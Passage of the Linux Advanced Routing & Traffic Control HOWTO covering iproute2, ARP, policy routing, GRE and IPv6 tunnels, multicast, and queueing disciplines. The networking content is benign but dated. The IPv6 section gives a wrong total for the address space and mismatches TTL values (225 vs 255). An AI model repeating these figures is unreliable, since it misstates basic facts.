We'll start off with a tiny tour of iproute2 possibilities.

3.3 Prerequisites

You should make sure that you have the userland tools installed. This package is called 'iproute' on both RedHat and Debian, and may otherwise be found at ftp://ftp.inr.ac.ru/ip-routing/iproute2-2.2.4-now-ss??????.tar.gz".

You can also try here for the latest version.

Some parts of iproute require you to have certain kernel options enabled. It should also be noted that all releases of RedHat up to and including 6.2 come without most of the traffic control features in the default kernel.

RedHat 7.2 has everything in by default.

Also make sure that you have netlink support, should you choose to roll your own kernel. Iproute2 needs it.

3.4 Exploring your current configuration

This may come as a surprise, but iproute2 is already configured! The current commands ifconfig and route are already using the advanced syscalls, but mostly with very default (ie. boring) settings.

The ip tool is central, and we'll ask it to display our interfaces for us.

ip shows us our links

[ahu@home ahu]$ ip link list
1: lo: <LOOPBACK,UP> mtu 3924 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: dummy: <BROADCAST,NOARP> mtu 1500 qdisc noop
    link/ether 00:00:00:00:00:00 brd ff:ff:ff:ff:ff:ff
3: eth0: <BROADCAST,MULTICAST,PROMISC,UP> mtu 1400 qdisc pfifo_fast qlen 100
    link/ether 48:54:e8:2a:47:16 brd ff:ff:ff:ff:ff:ff
4: eth1: <BROADCAST,MULTICAST,PROMISC,UP> mtu 1500 qdisc pfifo_fast qlen 100
    link/ether 00:e0:4c:39:24:78 brd ff:ff:ff:ff:ff:ff
3764: ppp0: <POINTOPOINT,MULTICAST,NOARP,UP> mtu 1492 qdisc pfifo_fast qlen 10
    link/ppp

Your mileage may vary, but this is what it shows on my NAT router at home. I'll only explain part of the output as not everything is directly relevant.

We first see the loopback interface. While your computer may function somewhat without one, I'd advise against it. The MTU size (Maximum Transfer Unit) is 3924 octets, and it is not supposed to queue. Which makes sense because the loopback interface is a figment of your kernel's imagination.

I'll skip the dummy interface for now, and it may not be present on your computer. Then there are my two physical network interfaces, one at the side of my cable modem, the other one serves my home ethernet segment. Furthermore, we see a ppp0 interface.

Note the absence of IP addresses. iproute disconnects the concept of 'links' and 'IP addresses'. With IP aliasing, the concept of 'the' IP address had become quite irrelevant anyhow.

It does show us the MAC addresses though, the hardware identifier of our ethernet interfaces.

ip shows us our IP addresses

[ahu@home ahu]$ ip address show
1: lo: <LOOPBACK,UP> mtu 3924 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 brd 127.255.255.255 scope host lo
2: dummy: <BROADCAST,NOARP> mtu 1500 qdisc noop
    link/ether 00:00:00:00:00:00 brd ff:ff:ff:ff:ff:ff
3: eth0: <BROADCAST,MULTICAST,PROMISC,UP> mtu 1400 qdisc pfifo_fast qlen 100
    link/ether 48:54:e8:2a:47:16 brd ff:ff:ff:ff:ff:ff
    inet 10.0.0.1/8 brd 10.255.255.255 scope global eth0
4: eth1: <BROADCAST,MULTICAST,PROMISC,UP> mtu 1500 qdisc pfifo_fast qlen 100
    link/ether 00:e0:4c:39:24:78 brd ff:ff:ff:ff:ff:ff
3764: ppp0: <POINTOPOINT,MULTICAST,NOARP,UP> mtu 1492 qdisc pfifo_fast qlen 10
    link/ppp
    inet 212.64.94.251 peer 212.64.94.1/32 scope global ppp0

This contains more information. It shows all our addresses, and to which cards they belong. 'inet' stands for Internet (IPv4). There are lots of other address families, but these don't concern us right now.

Let's examine eth0 somewhat closer. It says that it is related to the inet address '10.0.0.1/8'. What does this mean? The /8 stands for the number of bits that are in the Network Address. There are 32 bits, so we have 24 bits left that are part of our network. The first 8 bits of 10.0.0.1 correspond to 10.0.0.0, our Network Address, and our netmask is 255.0.0.0.

The other bits are connected to this interface, so 10.250.3.13 is directly available on eth0, as is 10.0.0.1 for example.

With ppp0, the same concept goes, though the numbers are different. Its address is 212.64.94.251, without a subnet mask. This means that we have a point-to-point connection and that every address, with the exception of 212.64.94.251, is remote. There is more information however, it tells us that on the other side of the link there is yet again only one address, 212.64.94.1. The /32 tells us that there are no 'network bits'.

It is absolutely vital that you grasp these concepts. Refer to the documentation mentioned at the beginning of this HOWTO if you have trouble.

You may also note 'qdisc', which stands for Queueing Discipline. This will become vital later on.

ip shows us our routes

Well, we now know how to find 10.x.y.z addresses, and we are able to reach 212.64.94.1. This is not enough however, so we need instructions on how to reach the world. The internet is available via our ppp connection, and it appears that 212.64.94.1 is willing to spread our packets around the world, and deliver results back to us.

[ahu@home ahu]$ ip route show
212.64.94.1 dev ppp0  proto kernel  scope link  src 212.64.94.251
10.0.0.0/8 dev eth0  proto kernel  scope link  src 10.0.0.1
127.0.0.0/8 dev lo  scope link
default via 212.64.94.1 dev ppp0

This is pretty much self explanatory. The first 4 lines of output explicitly state what was already implied by ip address show, the last line tells us that the rest of the world can be found via 212.64.94.1, our default gateway. We can see that it is a gateway because of the word via, which tells us that we need to send packets to 212.64.94.1, and that it will take care of things.

For reference, this is what the old 'route' utility shows us:

[ahu@home ahu]$ route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use
Iface
212.64.94.1     0.0.0.0         255.255.255.255 UH    0      0        0 ppp0
10.0.0.0        0.0.0.0         255.0.0.0       U     0      0        0 eth0
127.0.0.0       0.0.0.0         255.0.0.0       U     0      0        0 lo
0.0.0.0         212.64.94.1     0.0.0.0         UG    0      0        0 ppp0

3.5 ARP

ARP is the Address Resolution Protocol as described in RFC 826. ARP is used by a networked machine to resolve the hardware location/address of another machine on the same local network. Machines on the Internet are generally known by their names which resolve to IP addresses. This is how a machine on the foo.com network is able to communicate with another machine which is on the bar.net network. An IP address, though, cannot tell you the physical location of a machine. This is where ARP comes into the picture.

Let's take a very simple example. Suppose I have a network composed of several machines. Two of the machines which are currently on my network are foo with an IP address of 10.0.0.1 and bar with an IP address of 10.0.0.2. Now foo wants to ping bar to see that he is alive, but alas, foo has no idea where bar is. So when foo decides to ping bar he will need to send out an ARP request. This ARP request is akin to foo shouting out on the network "Bar (10.0.0.2)! Where are you?" As a result of this every machine on the network will hear foo shouting, but only bar (10.0.0.2) will respond. Bar will then send an ARP reply directly back to foo which is akin bar saying, "Foo (10.0.0.1) I am here at 00:60:94:E9:08:12." After this simple transaction that's used to locate his friend on the network, foo is able to communicate with bar until he (his arp cache) forgets where bar is (typically after 15 minutes on Unix).

Now let's see how this works. You can view your machines current arp/neighbor cache/table like so:

[root@espa041 /home/src/iputils]# ip neigh show
9.3.76.42 dev eth0 lladdr 00:60:08:3f:e9:f9 nud reachable
9.3.76.1 dev eth0 lladdr 00:06:29:21:73:c8 nud reachable

As you can see my machine espa041 (9.3.76.41) knows where to find espa042 (9.3.76.42) and espagate (9.3.76.1). Now let's add another machine to the arp cache.

[root@espa041 /home/paulsch/.gnome-desktop]# ping -c 1 espa043
PING espa043.austin.ibm.com (9.3.76.43) from 9.3.76.41 : 56(84) bytes of data.
64 bytes from 9.3.76.43: icmp_seq=0 ttl=255 time=0.9 ms

--- espa043.austin.ibm.com ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.9/0.9/0.9 ms

[root@espa041 /home/src/iputils]# ip neigh show
9.3.76.43 dev eth0 lladdr 00:06:29:21:80:20 nud reachable
9.3.76.42 dev eth0 lladdr 00:60:08:3f:e9:f9 nud reachable
9.3.76.1 dev eth0 lladdr 00:06:29:21:73:c8 nud reachable

As a result of espa041 trying to contact espa043, espa043's hardware address/location has now been added to the arp/neighbor cache. So until the entry for espa043 times out (as a result of no communication between the two) espa041 knows where to find espa043 and has no need to send an ARP request.

Now let's delete espa043 from our arp cache:

[root@espa041 /home/src/iputils]# ip neigh delete 9.3.76.43 dev eth0
[root@espa041 /home/src/iputils]# ip neigh show
9.3.76.43 dev eth0  nud failed
9.3.76.42 dev eth0 lladdr 00:60:08:3f:e9:f9 nud reachable
9.3.76.1 dev eth0 lladdr 00:06:29:21:73:c8 nud stale

Now espa041 has again forgotten where to find espa043 and will need to send another ARP request the next time he needs to communicate with espa043. You can also see from the above output that espagate (9.3.76.1) has been changed to the "stale" state. This means that the location shown is still valid, but it will have to be confirmed at the first transaction to that machine.


Linux Advanced Routing & Traffic Control HOWTO: Rules - routing policy database

 Next Previous Contents

4. Rules - routing policy database

If you have a large router, you may well cater for the needs of different people, who should be served differently. The routing policy database allows you to do this by having multiple sets of routing tables.

If you want to use this feature, make sure that your kernel is compiled with the "IP: advanced router" and "IP: policy routing" features.

When the kernel needs to make a routing decision, it finds out which table needs to be consulted. By default, there are three tables. The old 'route' tool modifies the main and local tables, as does the ip tool (by default).

The default rules:

[ahu@home ahu]$ ip rule list
0:      from all lookup local
32766:  from all lookup main
32767:  from all lookup default

This lists the priority of all rules. We see that all rules apply to all packets ('from all'). We've seen the 'main' table before, it is output by ip route ls, but the 'local' and 'default' table are new.

If we want to do fancy things, we generate rules which point to different tables which allow us to override system wide routing rules.

For the exact semantics on what the kernel does when there are more matching rules, see Alexey's ip-cref documentation.

4.1 Simple source routing

Let's take a real example once again, I have 2 (actually 3, about time I returned them) cable modems, connected to a Linux NAT ('masquerading') router. People living here pay me to use the internet. Suppose one of my house mates only visits hotmail and wants to pay less. This is fine with me, but you'll end up using the low-end cable modem.

The 'fast' cable modem is known as 212.64.94.251 and is a PPP link to 212.64.94.1. The 'slow' cable modem is known by various ip addresses, 212.64.78.148 in this example and is a link to 195.96.98.253.

The local table:

[ahu@home ahu]$ ip route list table local
broadcast 127.255.255.255 dev lo  proto kernel  scope link  src 127.0.0.1
local 10.0.0.1 dev eth0  proto kernel  scope host  src 10.0.0.1
broadcast 10.0.0.0 dev eth0  proto kernel  scope link  src 10.0.0.1
local 212.64.94.251 dev ppp0  proto kernel  scope host  src 212.64.94.251
broadcast 10.255.255.255 dev eth0  proto kernel  scope link  src 10.0.0.1
broadcast 127.0.0.0 dev lo  proto kernel  scope link  src 127.0.0.1
local 212.64.78.148 dev ppp2  proto kernel  scope host  src 212.64.78.148
local 127.0.0.1 dev lo  proto kernel  scope host  src 127.0.0.1
local 127.0.0.0/8 dev lo  proto kernel  scope host  src 127.0.0.1

Lots of obvious things, but things that need to be specified somewhere. Well, here they are. The default table is empty.

Let's view the 'main' table:

[ahu@home ahu]$ ip route list table main
195.96.98.253 dev ppp2  proto kernel  scope link  src 212.64.78.148
212.64.94.1 dev ppp0  proto kernel  scope link  src 212.64.94.251
10.0.0.0/8 dev eth0  proto kernel  scope link  src 10.0.0.1
127.0.0.0/8 dev lo  scope link
default via 212.64.94.1 dev ppp0

We now generate a new rule which we call 'John', for our hypothetical house mate. Although we can work with pure numbers, it's far easier if we add our tables to /etc/iproute2/rt_tables.

# echo 200 John >> /etc/iproute2/rt_tables
# ip rule add from 10.0.0.10 table John
# ip rule ls
0:      from all lookup local
32765:  from 10.0.0.10 lookup John
32766:  from all lookup main
32767:  from all lookup default

Now all that is left is to generate Johns table, and flush the route cache:

# ip route add default via 195.96.98.253 dev ppp2 table John
# ip route flush cache

And we are done. It is left as an exercise for the reader to implement this in ip-up.


Linux Advanced Routing & Traffic Control HOWTO: GRE and other tunnels

 Next Previous Contents

5. GRE and other tunnels

There are 3 kinds of tunnels in Linux. There's IP in IP tunneling, GRE tunneling and tunnels that live outside the kernel (like, for example PPTP).

5.1 A few general remarks about tunnels:

Tunnels can be used to do some very unusual and very cool stuff. They can also make things go horribly wrong when you don't configure them right. Don't point your default route to a tunnel device unless you know exactly what you are doing :-). Furthermore, tunneling increases overhead, because it needs an extra set of IP headers. Typically this is 20 bytes per packet, so if the normal packet size (MTU) on a network is 1500 bytes, a packet that is sent through a tunnel can only be 1480 bytes big. This is not necessarily a problem, but be sure to read up on IP packet fragmentation/reassembly when you plan to connect large networks with tunnels. Oh, and of course, the fastest way to dig a tunnel is to dig at both sides.

5.2 IP in IP tunneling

This kind of tunneling has been available in Linux for a long time. It requires 2 kernel modules, ipip.o and new_tunnel.o.

Let's say you have 3 networks: Internal networks A and B, and intermediate network C (or let's say, Internet). So we have network A:

network 10.0.1.0
netmask 255.255.255.0
router  10.0.1.1
The router has address 172.16.17.18 on network C.

and network B:

network 10.0.2.0
netmask 255.255.255.0
router  10.0.2.1
The router has address 172.19.20.21 on network C.

As far as network C is concerned, we assume that it will pass any packet sent from A to B and vice versa. You might even use the Internet for this.

Here's what you do:

First, make sure the modules are installed:

insmod ipip.o
insmod new_tunnel.o
Then, on the router of network A, you do the following:
ifconfig tunl0 10.0.1.1 pointopoint 172.19.20.21
route add -net 10.0.2.0 netmask 255.255.255.0 dev tunl0
And on the router of network B:
ifconfig tunl0 10.0.2.1 pointopoint 172.16.17.18
route add -net 10.0.1.0 netmask 255.255.255.0 dev tunl0
And if you're finished with your tunnel:
ifconfig tunl0 down
Presto, you're done. You can't forward broadcast or IPv6 traffic through an IP-in-IP tunnel, though. You just connect 2 IPv4 networks that normally wouldn't be able to talk to each other, that's all. As far as compatibility goes, this code has been around a long time, so it's compatible all the way back to 1.3 kernels. Linux IP-in-IP tunneling doesn't work with other Operating Systems or routers, as far as I know. It's simple, it works. Use it if you have to, otherwise use GRE.

5.3 GRE tunneling

GRE is a tunneling protocol that was originally developed by Cisco, and it can do a few more things than IP-in-IP tunneling. For example, you can also transport multicast traffic and IPv6 through a GRE tunnel.

In Linux, you'll need the ip_gre.o module.

IPv4 Tunneling

Let's do IPv4 tunneling first:

Let's say you have 3 networks: Internal networks A and B, and intermediate network C (or let's say, Internet).

So we have network A:

network 10.0.1.0
netmask 255.255.255.0
router  10.0.1.1
The router has address 172.16.17.18 on network C. Let's call this network neta (ok, hardly original)

and network B:

network 10.0.2.0
netmask 255.255.255.0
router  10.0.2.1
The router has address 172.19.20.21 on network C. Let's call this network netb (still not original)

As far as network C is concerned, we assume that it will pass any packet sent from A to B and vice versa. How and why, we do not care.

On the router of network A, you do the following:

ip tunnel add netb mode gre remote 172.19.20.21 local 172.16.17.18 ttl 255
ip link set netb up
ip addr add 10.0.1.1 dev netb
ip route add 10.0.2.0/24 dev netb

Let's discuss this for a bit. In line 1, we added a tunnel device, and called it netb (which is kind of obvious because that's where we want it to go). Furthermore we told it to use the GRE protocol (mode gre), that the remote address is 172.19.20.21 (the router at the other end), that our tunneling packets should originate from 172.16.17.18 (which allows your router to have several IP addresses on network C and let you decide which one to use for tunneling) and that the TTL field of the packet should be set to 255 (ttl 255).

The second line enables the device.

In the third line we gave the newly born interface netb the address 10.0.1.1. This is OK for smaller networks, but when you're starting up a mining expedition (LOTS of tunnels), you might want to consider using another IP range for tunneling interfaces (in this example, you could use 10.0.3.0).

In the fourth line we set the route for network B. Note the different notation for the netmask. If you're not familiar with this notation, here's how it works: you write out the netmask in binary form, and you count all the ones. If you don't know how to do that, just remember that 255.0.0.0 is /8, 255.255.0.0 is /16 and 255.255.255.0 is /24. Oh, and 255.255.254.0 is /23, in case you were wondering.

But enough about this, let's go on with the router of network B.

ip tunnel add neta mode gre remote 172.16.17.18 local 172.19.20.21 ttl 255
ip link set neta up
ip addr add 10.0.2.1 dev neta
ip route add 10.0.1.0/24 dev neta
And when you want to remove the tunnel on router A:
ip link set netb down
ip tunnel del netb
Of course, you can replace netb with neta for router B.

IPv6 Tunneling

A short bit about IPv6 addresses:

IPv6 addresses are, compared to IPv4 addresses, monstrously big. An example:

3ffe:2502:200:40:281:48fe:dcfe:d9bc
So, to make writing them down easier, there are a few rules:
  • Don't use leading zeroes. Same as in IPv4.
  • Use colons to separate every 16 bits or two bytes.
  • When you have lots of consecutive zeroes, you can write this down as ::. You can only do this once in an address and only for quantities of 16 bits, though.
Using these rules, the address 3ffe:0000:0000:0000:0000:0020:34A1:F32C can be written down as 3ffe::20:34A1:F32C, which is a lot shorter.

On with the tunnels.

Let's assume that you have the following IPv6 network, and you want to connect it to 6bone, or a friend.

Network 3ffe:406:5:1:5:a:2:1/96
Your IPv4 address is 172.16.17.18, and the 6bone router has IPv4 address 172.22.23.24.

ip tunnel add sixbone mode sit remote 172.22.23.24 local 172.16.17.18 ttl 255
ip link set sixbone up
ip addr add 3ffe:406:5:1:5:a:2:1/96 dev sixbone
ip route add 3ffe::/15 dev sixbone

Let's discuss this. In the first line, we created a tunnel device called sixbone. We gave it mode sit (which is IPv6 in IPv4 tunneling) and told it where to go to (remote) and where to come from (local). TTL is set to maximum, 255. Next, we made the device active (up). After that, we added our own network address, and set a route for 3ffe::/15 (which is currently all of 6bone) through the tunnel.

GRE tunnels are currently the preferred type of tunneling. It's a standard that's also widely adopted outside the Linux community and therefore a Good Thing.

5.4 Userland tunnels

There are literally dozens of implementations of tunneling outside the kernel. Best known are of course PPP and PPTP, but there are lots more (some proprietary, some secure, some that don't even use IP) and that is really beyond the scope of this HOWTO.


Linux Advanced Routing & Traffic Control HOWTO: IPv6 tunneling with Cisco and/or 6bone

 Next Previous Contents

6. IPv6 tunneling with Cisco and/or 6bone

By Marco Davids <marco@sara.nl>

NOTE to maintainer:

As far as I am concerned, this IPv6-IPv4 tunneling is not per definition GRE tunneling. You could tunnel IPv6 over IPv4 by means of GRE tunnel devices (GRE tunnels ANY to IPv4), but the device used here ("sit") only tunnels IPv6 over IPv4 and is therefore something different.

6.1 IPv6 Tunneling

This is another application of the tunneling capabilities of Linux. It is popular among the IPv6 early adopters, or pioneers if you like. The 'hands-on' example described below is certainly not the only way to do IPv6 tunneling. However, it is the method that is often used to tunnel between Linux and a Cisco IPv6 capable router and experience learned that this is just the thing many people are after. Ten to one this applies to you too ;-)

A short bit about IPv6 addresses:

IPv6 addresses are, compared to IPv4 addresses, really big: 128 bits against 32 bits. And this provides us just with the thing we need: many, many IP-addresses: 340,282,266,920,938,463,463,374,607,431,768,211,465 to be precise. Apart from this, IPv6 (or IPng, for IP Next Generation) is supposed to provide for smaller routing tables on the Internet's backbone routers, simpler configuration of equipment, better security at the IP level and better support for QoS.

An example: 2002:836b:9820:0000:0000:0000:836b:9886

Writing down IPv6 addresses can be quite a burden. Therefore, to make life easier there are some rules:

  • Don't use leading zeroes. Same as in IPv4.
  • Use colons to separate every 16 bits or two bytes.
  • When you have lots of consecutive zeroes, you can write this down as ::. You can only do this once in an address and only for quantities of 16 bits, though.

The address 2002:836b:9820:0000:0000:0000:836b:9886 can be written down as 2002:836b:9820::836b:9886, which is somewhat friendlier.

IPv6 is intended to be the successor of the current IPv4. Because it is relatively new technology, there is no worldwide native IPv6 network yet. To be able to move forward swiftly, the 6bone was introduced.

Native IPv6 networks are connected to each other by encapsulating the IPv6 protocol in IPv4 packets and sending them over the existing IPv4 infrastructure from one IPv6 site to another.

That is precisely where the tunnel steps in.

To be able to use IPv6, we should have a kernel that supports it. There are many good documents on how to achieve this. But it all comes down to a few steps:

  • Get yourself a recent Linux distribution, with suitable glibc.
  • Then get yourself an up-to-date kernel source.
If you are all set, then you can go ahead and compile an IPv6 capable kernel:
  • Go to /usr/src/linux and type:
  • make menuconfig
  • Choose "Networking Options"
  • Select "The IPv6 protocol", "IPv6: enable EUI-64 token format", "IPv6: disable provider based addresses"
HINT: Don't go for the 'module' option. Often this won't work well.

In other words, compile IPv6 as 'built-in' in your kernel. You can then save your config like usual and go ahead with compiling the kernel.

HINT: Before doing so, consider editing the Makefile: EXTRAVERSION = -x ; --> ; EXTRAVERSION = -x-IPv6

There is a lot of good documentation about compiling and installing a kernel, however this document is about something else. If you run into problems at this stage, go and look for documentation about compiling a Linux kernel according to your own specifications.

The file /usr/src/linux/README might be a good start. After you acomplished all this, and rebooted with your brand new kernel, you might want to issue an '/sbin/ifconfig -a' and notice the brand new 'sit0-device'. SIT stands for Simple Internet Transition. You may give yourself a compliment; you are now one major step closer to IP, the Next Generation ;-)

Now on to the next step. You want to connect your host, or maybe even your entire LAN to another IPv6 capable network. This might be the "6bone" that is setup especially for this particular purpose.

Let's assume that you have the following IPv6 network: 3ffe:604:6:8::/64 and you want to connect it to 6bone, or a friend. Please note that the /64 subnet notation works just like with regular IP adresses.

Your IPv4 address is 145.100.24.181 and the 6bone router has IPv4 address 145.100.1.5

# ip tunnel add sixbone mode sit remote 145.100.1.5 [local 145.100.24.181 ttl 225]
# ip link set sixbone up
# ip addr add 3FFE:604:6:7::2/126 dev sixbone
# ip route add 3ffe::0/16 dev sixbone

Let's discuss this. In the first line, we created a tunnel device called sixbone. We gave it mode sit (which is IPv6 in IPv4 tunneling) and told it where to go to (remote) and where to come from (local). TTL is set to maximum, 255.

Next, we made the device active (up). After that, we added our own network address, and set a route for 3ffe::/15 (which is currently all of 6bone) through the tunnel. If the particular machine you run this on is your IPv6 gateway, then consider adding the following lines:

# echo 1 >/proc/sys/net/ipv6/conf/all/forwarding
# /usr/local/sbin/radvd
The latter, radvd is -like zebra- a router advertisement daemon, to support IPv6's autoconfiguration features. Search for it with your favourite search-engine if you like. You can check things like this:

# /sbin/ip -f inet6 addr

If you happen to have radvd running on your IPv6 gateway and boot your IPv6 capable Linux on a machine on your local LAN, you would be able to enjoy the benefits of IPv6 autoconfiguration:

# /sbin/ip -f inet6 addr
1: lo: <LOOPBACK,UP> mtu 3924 qdisc noqueue inet6 ::1/128 scope host

3: eth0: <BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast qlen 100
inet6 3ffe:604:6:8:5054:4cff:fe01:e3d6/64 scope global dynamic
valid_lft forever preferred_lft 604646sec inet6 fe80::5054:4cff:fe01:e3d6/10
scope link

You could go ahead and configure your bind for IPv6 addresses. The A type has an equivalent for IPv6: AAAA. The in-addr.arpa's equivalent is: ip6.int. There's a lot of information available on this topic.

There is an increasing number of IPv6-aware applications available, including secure shell, telnet, inetd, Mozilla the browser, Apache the websever and a lot of others. But this is all outside the scope of this Routing document ;-)

On the Cisco side the configuration would be something like this:

!
interface Tunnel1
description IPv6 tunnel
no ip address
no ip directed-broadcast
ipv6 enable
ipv6 address 3FFE:604:6:7::1/126
tunnel source Serial0
tunnel destination 145.100.24.181
tunnel mode ipv6ip
!
ipv6 route 3FFE:604:6:8::/64 Tunnel1
But if you don't have a Cisco at your disposal, try one of the many IPv6 tunnel brokers available on the Internet. They are willing to configure their Cisco with an extra tunnel for you. Mostly by means of a friendly web interface. Search for "ipv6 tunnel broker" on your favourite search engine.


Linux Advanced Routing & Traffic Control HOWTO: IPsec: secure IP over the internet

 Next Previous Contents

7. IPsec: secure IP over the internet

FIXME: editor vacancy. In the meantime, see: The FreeS/WAN project. Another IPSec implementation for Linux is Cerberus, by NIST. However, their web pages have not been updated in over a year, and their version tended to trail well behind the current Linux kernel. USAGI, an alternative IPv6 implementation for Linux, also includes an IPSec implementation, but that might only be for IPv6.


Linux Advanced Routing & Traffic Control HOWTO: Multicast routing

 Next Previous Contents

8. Multicast routing

FIXME: Editor Vacancy!

The Multicast-HOWTO is ancient (relatively-speaking) and may be inaccurate or misleading in places, for that reason.

Before you can do any multicast routing, you need to configure the Linux kernel to support the type of multicast routing you want to do. This, in turn, requires you to decide what type of multicast routing you expect to be using. There are essentially four "common" types - DVMRP (the Multicast version of the RIP unicast protocol), MOSPF (the same, but for OSPF), PIM-SM ("Protocol Independent Multicasting - Sparse Mode", which assumes that users of any multicast group are spread out, rather than clumped) and PIM-DM (the same, but "Dense Mode", which assumes that there will be significant clumps of users of the same multicast group).

In the Linux kernel, you will notice that these options don't appear. This is because the protocol itself is handled by a routing application, such as Zebra, mrouted, or pimd. However, you still have to have a good idea of which you're going to use, to select the right options in the kernel.

For all multicast routing, you will definitely need to enable "multicasting" and "multicast routing". For DVMRP and MOSPF, this is sufficient. If you are going to use PIM, you must also enable PIMv1 or PIMv2, depending on whether the network you are connecting to uses version 1 or 2 of the PIM protocol.

Once you have all that sorted out, and your new Linux kernel compiled, you will see that the IP protocols listed, at boot time, now include IGMP. This is a protocol for managing multicast groups. At the time of writing, Linux supports IGMP versions 1 and 2 only, although version 3 does exist and has been documented. This doesn't really affect us that much, as IGMPv3 is still new enough that the extra capabilities of IGMPv3 aren't going to be that much use. Because IGMP deals with groups, only the features present in the simplest version of IGMP over the entire group are going to be used. For the most part, that will be IGMPv2, although IGMPv1 is sill going to be encountered.

So far, so good. We've enabled multicasting. Now, we have to tell the Linux kernel to actually do something with it, so we can start routing. This means adding the Multicast virtual network to the router table:

ip route add 224.0.0.0/4 dev eth0

(Assuming, of course, that you're multicasting over eth0! Substitute the device of your choice, for this.)

Now, tell Linux to forward packets...

echo 1 > /proc/sys/net/ipv4/ip_forward

At this point, you may be wondering if this is ever going to do anything. So, to test our connection, we ping the default group, 224.0.0.1, to see if anyone is alive. All machines on your LAN with multicasting enabled should respond, but nothing else. You'll notice that none of the machines that respond have an IP address of 224.0.0.1. What a surprise! :) This is a group address (a "broadcast" to subscribers), and all members of the group will respond with their own address, not the group address.

ping -c 2 224.0.0.1

At this point, you're ready to do actual multicast routing. Well, assuming that you have two networks to route between.

(To Be Continued!)


Linux Advanced Routing & Traffic Control HOWTO: Queueing Disciplines for Bandwidth Management

 Next Previous Contents

9. Queueing Disciplines for Bandwidth Management

Now, when I discovered this, it really blew me away. Linux 2.2/2.4 comes with everything to manage bandwidth in ways comparable to high-end dedicated bandwidth management systems.

Linux even goes far beyond what Frame and ATM provide.

9.1 Queues and Queueing Disciplines explained

With queueing we determine the way in which data is sent. It is important to realise that we can only shape data that we transmit.

With the way the internet works, we have no direct control of what people send us. It's a bit like your (physical!) mailbox at home. There is no way you can influence the world to modify the amount of mail they send you, short of contacting everybody.

However, the internet is mostly based on TCP/IP which has a few features that help us. TCP/IP has no way of knowing the capacity of the network between two hosts, so it just starts sending data faster and faster ('slow start') and when packets start getting lost, because there is no room to send them, it will slow down. In fact it is a bit smarter than this, but more about that later.

This is the equivalent of not reading half of your mail, and hoping that people will stop sending it to you. With the difference that it works for the Internet :-)

If you have a router and wish to prevent certain hosts of networks from downloading too fast, you need to do your shaping on the *inner* interface of your router, the one that sends data to your own computers.

9.2 Simple, classless Queueing Disciplines

As said, with queueing disciplines, we change the way data is sent. Classless queueing disciplines are those that, by and large accept data and only reorder, delay or drop it.

These can be used to shape traffic for an entire interface, without any subdivisions. It is vital that you understand this part of queueing before we go on the the classful qdisc-containing-qdiscs!

By far the most widely used discipline is the pfifo_fast queue - this is the default. This also explains why these advanced features are so robust. They are nothing more than 'just another queue'.

Each of these queues has specific strengths and weaknesses. Not all of them may be as well tested.

pfifo_fast

This queue is, as the name says, First In, First Out, which means that no packet receives special treatment. At least, not quite. This queue has 3 so called 'bands'. Within each band, FIFO rules apply. However, as long as there are packets waiting in band 0, band 1 won't be processed. Same goes for band 1 and band 2.

The kernel honors the so called Type of Service flag of packets, and takes care to insert 'minimum delay' packets in band 0.

Do not confuse this classless simple qdisc with the classful PRIO one!

Parameters & usage

bands

Number of bands. Defaults to three. If you change this, also change:

priomap

Determines how packet priorities, as assigned by the kernel, map to bands. Mapping occurs according to the following table, which identical to the one used by the PRIO qdisc:

TC_PRIO..          Num  TOS                        Band
-------------------------------------------------------
BESTEFFORT         0    Maximize Reliablity        1
FILLER             1    Minimize Cost              2
BULK               2    Maximize Throughput (0x8)  2
INTERACTIVE_BULK   4                               2
INTERACTIVE        6    Minimize Delay (0x10)      1
CONTROL            7                               2
                   8                               0
                   9                               0
                  10                               1
                  11                               1
                  12                               1
                  13                               1
                  14                               1
                  15                               1
FIXME: It is not known what the higher priorities correspond to.

SSH sets TOS to 'Minimize Delay', unless it is doing scp, in which case it sets 'Maximize Throughput'. The numbers in parentheses denote the TOS value as reported by tcpdump and the kernel. If you divide this by two, you get the values mentioned by RFC1349.

The default priomap is reasonable, you probably do not need to change it.

txqueuelen

The length of this queue is gleaned from the interface configuration, which you can see and set with ifconfig and ip. To set the queue length to 10, execute: ifconfig eth0 txqueuelen 10

You can't set this parameter with tc!

Token Bucket Filter

The Token Bucket Filter (TBF) is a simple queue that only passes packets arriving at a rate which is not exceeding some administratively set rate, with the possibility to allow short bursts in excess of this rate.

TBF is very precise, network- and processor friendly. It should be your first choice if you simple want to slow an interface down!

The TBF implementation consists of a buffer (bucket), constantly filled by some virtual pieces of information called tokens, at a specific rate (token rate). The most important parameter of the bucket is its size, that is the number of tokens it can store.

Each arriving token collects one incoming data packet from the data queue and is then deleted from the bucket. Associating this algorithm with the two flows -- token and data, gives us three possible scenarios:

  • The data arrives in TBF at a rate that's equal to the rate of incoming tokens. In this case each incoming packet has its matching token and passes the queue without delay.
  • The data arrives in TBF at a rate that's smaller than the token rate. Only a part of the tokens are deleted at output of each data packet that's sent out the queue, so the tokens accumulate, up to the bucket size. The unused tokens can then be used to send data a a speed that's exceeding the standard token rate, in case short data bursts occur.
  • The data arrives in TBF at a rate bigger than the token rate. This means that the bucket will soon be devoid of tokens, which causes the TBF to throttle itself for a while. This is called an 'overlimit situation'. If packets keep coming in, packets will start to get dropped.

The last scenario is very important, because it allows to administratively shape the bandwidth available to data that's passing the filter.

The accumulation of tokens allows a short burst of overlimit data to be still passed without loss, but any lasting overload will cause packets to be constantly delayed, and then dropped.

Please note that in the actual implementation, tokens correspond to bytes, not packets.

Parameters & usage

Even though you will probably not need to change them, tbf has some knobs available. First the parameters that are always available:

limit or latency

Limit is the number of bytes that can be queued waiting for tokens to become available. You can also specify this the other way around by setting the latency parameter, which specifies the maximum amount of time a packet can sit in the TBF. The latter calculation takes into account the size of the bucket, the rate and possibly the peakrate (if set).

burst/buffer/maxburst

Size of the bucket, in bytes. This is the maximum amount of bytes that tokens can be available for instantaneously. In general, larger shaping rates require a larger buffer. For 10mbit/s on Intel, you need at least 10kbyte buffer if you want to reach your configured rate!

If your buffer is too small, packets may be dropped because more tokens arrive per timer tick than fit in your bucket.

mpu

A zero-sized packet does not use zero bandwidth. For ethernet, no packet uses less than 64 bytes. The Minimum Packet Unit determines the minimal token usage for a packet.

rate

The speedknob. See remarks above about limits!

